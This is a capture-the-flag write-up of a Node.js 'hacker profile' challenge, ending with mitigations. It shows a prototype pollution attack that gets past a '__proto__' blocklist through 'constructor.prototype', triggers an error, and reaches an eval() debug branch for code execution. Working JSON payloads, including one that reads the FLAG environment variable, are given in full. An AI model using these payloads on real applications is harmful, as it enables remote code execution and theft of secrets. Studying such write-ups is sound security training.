📜 Challenge Description
Description
Use only JSON to build your hacker profile. The developer claims their application is fully secure. Prove them wrong by reading the flag.txt
file on the server.
~ The flag can be found in the enviroment variable: FLAG
Link to the challenge :
🕵️ Proof of Concept
We are dealing here with a NodeJS application. The idea is that a user can send data in JSON format containing information about their profile. The application includes a WAF that blacklists the __proto__
character string.
I. Source Code Analysis
General Analysis
We immediately notice that the user data goes through the JSON.parse()
function. This, along with the fact that the word __proto__
is blacklisted, clearly suggests that we will need to exploit a prototype pollution vulnerability.
profile = JSON.parse(profile)
Code analysis and analysis of our goal
We know from the challenge description that we need to read an environment variable, so we need to achieve code execution. Therefore, we must find a potential entry point to reach this objective. There is indeed one, and it is located in this portion of the code:
At the beginning of the code, we can see the Appconfig
object defined with two properties:
appConfig = {
title: "Hacker Profile",
author: "Minilucker"
}
The code below converts all the property values of the user
object (i.e. the properties from our user input) into strings using the toString()
function, and when the property is "lastviewed"
, it is also converted to a string but using a different function: toLocaleString()
.
try {
Object.keys(user).forEach((key) => {
if (key === "lastViewed") {
user[key] = user[key].toLocaleString().split('GMT')[0]
} else {
user[key] = user[key].toString()
}
})
console.log(ejs.render(fs.readFileSync('index.ejs', "utf-8"), { user, error: undefined, logs: "" }))
} catch (error) {
if (appConfig.debug && appConfig.debug.active === true) {
const logs = eval(`${appConfig.debug.code}`)
console.log(ejs.render(fs.readFileSync('index.ejs', "utf-8"), { user: undefined, error, logs }))
}
else {
console.log(ejs.render(fs.readFileSync('index.ejs', 'utf-8'), { error, user:undefined, logs: undefined }))
}
}
What immediately stands out is that when an error occurs, if the debug
function of the app.Config
object exists and its active
property is set to true
, the application will use the eval()
function with the value of the code
property from debug
as input. As everyone knows, the eval()
function allows code execution :)
Our two objectives in order to achieve code execution are therefore the following:
- Trigger an error to reach the error-handling section that manages debugging.
- Activate debug mode with
appConfig.debug && appConfig.debug.active === true
and assign a value toappConfig.debug.code
in order to execute code.
All of this must be done potentially through a prototype pollution.
II. Prototype Pollution exploitation
1) WAF Bypass
The first step to performing a prototype pollution is accessing an object’s prototype using the key __proto__
. However, this string is blacklisted here. With some research, we can find that it’s possible to access the prototype using the following keys (in JSON format):
{
"constructor": {
"prototype": {
"foo": "bar",
"json spaces": 10
}
}
}
2) Pollution and Triggering an Error
We’re going to try polluting a function to check if our assumptions are correct—let’s try to pollute toLocaleString()
, which doesn’t seem to have been used randomly, with :
{
"username": "b4n3",
"lastViewed":"a",
"constructor": {
"prototype": {
"toLocaleString":"polluted"
}
}
}
Bingo! Not only are we able to pollute successfully, but since the toLocaleString()
function is called and processed through other functions—and we’ve overwritten it as a simple property with a value—it triggers an error :
2) Code execution
Now that we’ve successfully triggered an error and polluted the prototype, all we need to do is assign the debug
properties to the prototype. This way, all objects will inherit these properties—including our appConfig
object—which will allow us to execute code.
We’ll therefore perform the pollution at the same level as toLocaleString()
in our JSON structure, and set the values for the debug function as follows:
{
"username": "b4n3",
"lastViewed":"a",
"constructor": {
"prototype": {
"toLocaleString":"polluted",
"debug":{
"active":true,
"code":"1+1"
}
}
}
}
Result :
And we’ve done it! We can see that our code is successfully executed! 🎉
All that’s left is to read the environment variable using : process.env.FLAG
And here is the final payload:
{
"username": "b4n3",
"lastViewed":"a",
"constructor": {
"prototype": {
"toLocaleString":"polluted",
"debug":{
"active":true,
"code":"process.env.FLAG"
}
}
}
}
The flag : FLAG{$m4ll_m1st4ke_t0_rcE!}
🚧 Impacts
With prototype pollution, an attacker might control the default values of an object’s properties. This allows the attacker to tamper with the logic of the application and can also lead to denial of service or, in extreme cases, remote code execution.
🔐 Mitigations
- Update dependencies: this is general advice for all security issues, but particularly important here, as the vulnerability is often introduced by third-party components.
- Strictly control parameters: using a whitelist of expected values can help prevent problems, including massive assignments.
- Use Object.freeze(): this function prevents any modification to the object on which it is called, which helps prevent pollution.
- Manipulating the prototype: another solution is to set the prototype to
null
, like this:Object.create(null)